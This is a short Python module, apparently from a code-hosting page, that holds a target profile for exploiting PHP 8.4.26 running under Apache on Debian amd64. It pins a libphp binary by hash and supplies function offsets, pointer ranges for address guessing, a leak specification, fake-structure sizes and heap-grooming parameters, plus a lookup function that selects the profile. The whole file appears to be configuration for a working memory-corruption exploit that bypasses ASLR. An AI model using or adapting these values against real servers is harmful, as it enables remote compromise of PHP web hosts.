39 lines
1.4 KiB
Python
39 lines
1.4 KiB
Python
PROFILES = {
|
|
"php-8.4.26-apache-trixie-amd64": {
|
|
"php_version": "8.4.26",
|
|
"sapi": "apache2handler",
|
|
"libphp_path": "/usr/lib/apache2/modules/libphp.so",
|
|
"libphp_sha256": "51663cf883b1223436d4c99f31dd0225735ea5573665e4242621eee7f4ee679c",
|
|
"dtor_offset": 0x65EB60,
|
|
"zif_offset": 0x465370,
|
|
"main_bucket_count": 87,
|
|
"delta_min": 0x1A00000,
|
|
"delta_max": 0x1F00000,
|
|
"ptr_min": 1 << 36,
|
|
"ptr_max": (1 << 47) - 1,
|
|
"fake_len": 0xC8000,
|
|
"path": "/index.php",
|
|
"warm_path": "/index.php?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v",
|
|
"leak_spec": ["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"],
|
|
"a1": {"parts": 860, "depth": 64, "key_pad": 90, "fillers128": 14,
|
|
"big": 78, "big_len": 8000, "burners": 20, "burner_len": 4000,
|
|
"progress_len": 4000, "sid_hex": "00", "tail": 0},
|
|
"a2": {"parts": 880, "depth": 64, "fillers": 115, "key_pad": 0},
|
|
"b2": {"vl": 384, "n1": 500, "n2": 495, "rc": 1, "name_len": 10,
|
|
"ref_start": 8, "ref_step": 32, "val_type": 0x0107},
|
|
"s_delta": 0xF8398,
|
|
"hsv_delta": 0x7D720,
|
|
},
|
|
}
|
|
|
|
|
|
def select(libphp_sha256):
|
|
for name, prof in PROFILES.items():
|
|
if prof["libphp_sha256"] == libphp_sha256:
|
|
return name, prof
|
|
return None, None
|
|
|
|
|
|
def only():
|
|
return next(iter(PROFILES.items()))
|